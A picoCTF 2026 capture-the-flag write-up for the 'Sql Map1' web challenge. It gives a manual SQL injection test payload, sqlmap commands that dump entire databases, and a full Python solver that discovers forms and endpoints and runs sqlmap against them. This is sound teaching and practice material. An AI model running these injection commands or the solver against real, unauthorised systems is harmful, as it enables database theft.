│ Category: Web Exploitation
│ Difficulty: Medium
│ Points: 300
│ Author: Imattas aka Zemi
────────────────────────────────────────────────────────────────────────────────
--[ Challenge Description ]--
│ You've been hired by a shadowy group of pentesters who love a good puzzle. The
system looks ordinary, but appearances lie.
────────────────────────────────────────────────────────────────────────────────
--[ Recon / Initial Analysis ]--
We are given a web application URL hosting what appears to be a standard login
page or search interface backed by an SQL database. The challenge name is a
direct hint: use sqlmap to automate discovery and exploitation of SQL injection
vulnerabilities.
The application has one or more user-input fields that are vulnerable to SQL
injection. The name "Sql Map1" strongly hints that the intended solution path is
to use sqlmap, the popular open-source SQL injection automation tool.
:: Reconnaissance
1. Identify the injection point. Browse the application and identify forms or
URL parameters that interact with the database. Common targets include login
forms (username, password fields) and search/filter parameters in GET or POST
requests.
2. Capture the request. Use browser developer tools (Network tab) or Burp Suite
to capture the exact HTTP request being sent when the form is submitted. Note
the URL, method (GET/POST), parameters, and any cookies or headers required
(especially session cookies).
3. Confirm SQL injection. Manually test with a simple payload like ' OR 1=1 --
to confirm the parameter is injectable before unleashing sqlmap.
────────────────────────────────────────────────────────────────────────────────
--[ Vulnerability / Observation ]--
One or more input fields are vulnerable to SQL injection. sqlmap automates the
entire exploitation process:
- Detection: It fingerprints the database type (SQLite, MySQL, PostgreSQL, etc.)
and identifies the injection technique (UNION-based, blind boolean, blind
time-based, error-based, stacked queries).
- Enumeration: It lists databases, tables, and columns.
- Extraction: It dumps table contents, which typically contain the flag.
For picoCTF challenges, the backend is commonly SQLite and the flag is usually
stored in a dedicated table (e.g., flags, secrets, or more_table).
:: Key sqlmap flags
- -u URL -- target URL with the injectable parameter marked
- --data "param=value" -- for POST requests
- --cookie "session=..." -- include session cookies if required
- --forms -- automatically detect and test forms on the page
- --dbs -- enumerate databases
- --tables -D dbname -- list tables in a database
- --dump -T tablename -- dump all rows from a table
- --dump-all -- dump everything
- --batch -- non-interactive mode (accept defaults)
- --level 3 --risk 2 -- increase detection sensitivity
────────────────────────────────────────────────────────────────────────────────
--[ Exploitation / Solution ]--
:: Step 1: Identify the target
Navigate to the challenge URL in a browser. Note the form fields and the URL
structure.
:: Step 2: Run sqlmap against the target
For a GET-based injection point:
-- bash --
sqlmap -u "http://<challenge-url>/search?query=test" --batch --dump-all
For a POST-based login form:
-- bash --
sqlmap -u "http://<challenge-url>/login" --data "username=admin&password=pass" --batch --dump-all
If the application requires a session cookie:
-- bash --
sqlmap -u "http://<challenge-url>/search?query=test" --cookie "session=<your-session-cookie>" --batch --dump-all
:: Step 3: Let sqlmap enumerate and dump
sqlmap will:
1. Detect the injection type and DBMS
2. Enumerate all tables
3. Dump all table contents
:: Step 4: Find the flag
Look through the dumped output for a value matching picoCTF{...}. It is
typically in a table like flags, secrets, or hidden.
:: Alternative: Use --forms for automatic form detection
-- bash --
sqlmap -u "http://<challenge-url>/" --forms --batch --dump-all
This tells sqlmap to crawl the page, find all forms, and test each field
automatically.
────────────────────────────────────────────────────────────────────────────────
--[ Full Exploit Script ]--
-- python --
#!/usr/bin/env python3
"""
Sql Map1 - picoCTF 2026
Category: Web Exploitation | Points: 300
Automated solver that uses sqlmap to exploit SQL injection and extract the flag.
Usage:
python3 solve.py <challenge-url>
Example:
python3 solve.py http://saturn.picoctf.net:12345
Requirements:
- sqlmap must be installed (pip install sqlmap OR apt install sqlmap)
- requests (pip install requests)
"""
import argparse
import os
import re
import subprocess
import sys
import tempfile
try:
import requests
except ImportError:
print("[!] 'requests' module not found. Install with: pip install requests")
sys.exit(1)
def find_sqlmap():
"""Locate sqlmap binary."""
# Check common locations
for cmd in ["sqlmap", "python3 -m sqlmap", "python -m sqlmap"]:
try:
result = subprocess.run(
cmd.split() + ["--version"],
capture_output=True, text=True, timeout=10
)
if result.returncode == 0:
return cmd.split()
except (FileNotFoundError, subprocess.TimeoutExpired):
continue
# Check if sqlmap.py exists in common paths
common_paths = [
"/usr/share/sqlmap/sqlmap.py",
"/usr/local/bin/sqlmap",
os.path.expanduser("~/sqlmap-dev/sqlmap.py"),
os.path.expanduser("~/tools/sqlmap/sqlmap.py"),
]
for path in common_paths:
if os.path.isfile(path):
return ["python3", path]
return None
def discover_endpoints(base_url):
"""Try to discover injectable endpoints on the target."""
session = requests.Session()
endpoints = []
# Try common paths
paths_to_try = [
"/", "/login", "/search", "/index.php", "/index.html",
"/api/search", "/api/login", "/query", "/lookup",
]
print(f"[*] Probing {base_url} for endpoints...")
for path in paths_to_try:
try:
url = base_url.rstrip("/") + path
resp = session.get(url, timeout=10, allow_redirects=True)
if resp.status_code == 200:
# Check for forms in the HTML
forms = re.findall(
r'<form[^>]*action=["\']([^"\']*)["\'][^>]*method=["\']([^"\']*)["\']',
resp.text, re.IGNORECASE
)
if forms:
for action, method in forms:
if not action.startswith("http"):
action = base_url.rstrip("/") + "/" + action.lstrip("/")
endpoints.append((action, method.upper()))
print(f" [+] Found form: {method.upper()} {action}")
# Check for input fields
inputs = re.findall(
r'<input[^>]*name=["\']([^"\']*)["\']', resp.text, re.IGNORECASE
)
if inputs and not forms:
endpoints.append((url, "GET"))
print(f" [+] Found inputs at: {url} -> {inputs}")
# Also check for query parameters in links
param_links = re.findall(r'href=["\']([^"\']*\?[^"\']*)["\']', resp.text)
for link in param_links:
if not link.startswith("http"):
link = base_url.rstrip("/") + "/" + link.lstrip("/")
endpoints.append((link, "GET"))
print(f" [+] Found parameterized link: {link}")
except requests.RequestException:
continue
# Also store session cookies for sqlmap
cookies = session.cookies.get_dict()
cookie_str = "; ".join(f"{k}={v}" for k, v in cookies.items()) if cookies else None
return endpoints, cookie_str
def run_sqlmap(target_url, method="GET", data=None, cookie=None):
"""Run sqlmap and capture output."""
sqlmap_cmd = find_sqlmap()
if not sqlmap_cmd:
print("[!] sqlmap not found! Please install it:")
print(" pip install sqlmap")
print(" OR: apt install sqlmap")
print(" OR: git clone https://github.com/sqlmapproject/sqlmap.git")
sys.exit(1)
# Create temp directory for sqlmap output
output_dir = tempfile.mkdtemp(prefix="sqlmap_picoctf_")
cmd = sqlmap_cmd + [
"-u", target_url,
"--batch", # Non-interactive
"--dump-all", # Dump everything
"--level", "3", # Increase detection level
"--risk", "2", # Moderate risk
"--threads", "4", # Speed up
"--output-dir", output_dir,
"--flush-session", # Fresh start
]
if method == "POST" and data:
cmd.extend(["--data", data])
if cookie:
cmd.extend(["--cookie", cookie])
# If the URL doesn't have parameters, try --forms
if "?" not in target_url and method == "GET" and not data:
cmd.append("--forms")
print(f"\n[*] Running sqlmap...")
print(f" Command: {' '.join(cmd)}\n")
try:
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=300 # 5 minute timeout
)
output = result.stdout + "\n" + result.stderr
except subprocess.TimeoutExpired:
print("[!] sqlmap timed out after 5 minutes")
output = ""
return output, output_dir
def extract_flag(text):
"""Search text for picoCTF flag pattern."""
flags = re.findall(r'picoCTF\{[^}]+\}', text)
return flags
def search_sqlmap_output(output_dir):
"""Search sqlmap output files for the flag."""
flags = []
for root, dirs, files in os.walk(output_dir):
for fname in files:
fpath = os.path.join(root, fname)
try:
with open(fpath, "r", errors="ignore") as f:
content = f.read()
found = extract_flag(content)
if found:
flags.extend(found)
except Exception:
continue
return flags
def main():
parser = argparse.ArgumentParser(
description="Sql Map1 solver - picoCTF 2026"
)
parser.add_argument(
"url",
help="Challenge URL (e.g., http://saturn.picoctf.net:12345)"
)
parser.add_argument(
"--data",
help="POST data (e.g., 'username=admin&password=pass')",
default=None
)
parser.add_argument(
"--cookie",
help="Session cookie string",
default=None
)
parser.add_argument(
"--param",
help="Specific parameter to test (e.g., 'username')",
default=None
)
args = parser.parse_args()
base_url = args.url.rstrip("/")
print(f"[*] Sql Map1 Solver - picoCTF 2026")
print(f"[*] Target: {base_url}\n")
# Phase 1: Discover endpoints
endpoints, auto_cookie = discover_endpoints(base_url)
cookie = args.cookie or auto_cookie
# Phase 2: Run sqlmap
if args.data:
# User specified POST data
print(f"[*] Using provided POST data: {args.data}")
output, output_dir = run_sqlmap(base_url, "POST", args.data, cookie)
elif endpoints:
# Try discovered endpoints
for url, method in endpoints:
print(f"[*] Trying: {method} {url}")
data = None
if method == "POST":
# Build dummy POST data from form inputs
try:
resp = requests.get(url, timeout=10)
inputs = re.findall(
r'<input[^>]*name=["\']([^"\']*)["\']',
resp.text, re.IGNORECASE
)
data = "&".join(f"{inp}=test" for inp in inputs)
except Exception:
data = "username=test&password=test"
output, output_dir = run_sqlmap(url, method, data, cookie)
# Check for flag in sqlmap output
flags = extract_flag(output)
if not flags:
flags = search_sqlmap_output(output_dir)
if flags:
print(f"\n{'='*60}")
print(f"[+] FLAG FOUND: {flags[0]}")
print(f"{'='*60}\n")
return
print(f"[-] No flag found with this endpoint, trying next...\n")
else:
# Fallback: run sqlmap with --forms on the base URL
print("[*] No specific endpoints found, using --forms mode")
output, output_dir = run_sqlmap(base_url, "GET", cookie=cookie)
# Final flag search
all_flags = extract_flag(output) if 'output' in dir() else []
if not all_flags and 'output_dir' in dir():
all_flags = search_sqlmap_output(output_dir)
if all_flags:
print(f"\n{'='*60}")
print(f"[+] FLAG FOUND: {all_flags[0]}")
print(f"{'='*60}\n")
else:
print("\n[-] Flag not found automatically.")
print("[*] Try running sqlmap manually with more specific parameters:")
print(f" sqlmap -u \"{base_url}\" --forms --batch --dump-all --level 5 --risk 3")
print(f"\n[*] Or target a specific parameter:")
print(f" sqlmap -u \"{base_url}/endpoint?param=test\" --batch --dump-all")
if 'output_dir' in dir():
print(f"\n[*] sqlmap output saved to: {output_dir}")
if __name__ == "__main__":
main()
────────────────────────────────────────────────────────────────────────────────
--[ Key Takeaways ]--
- The challenge name itself is the hint: sqlmap is the intended tool for
automating SQL injection discovery and exploitation.
- Capture the exact request (method, parameters, cookies) before running sqlmap
so it targets the right injection point.
- --batch --dump-all runs non-interactively and dumps every table;
--level/--risk raise detection sensitivity for stubborn injection points.
- --forms lets sqlmap auto-detect and test forms when you don't know the
parameter; --cookie carries session state.
- picoCTF SQLi backends are often SQLite with the flag tucked in a dedicated
table — scan the dump for the picoCTF{...} pattern.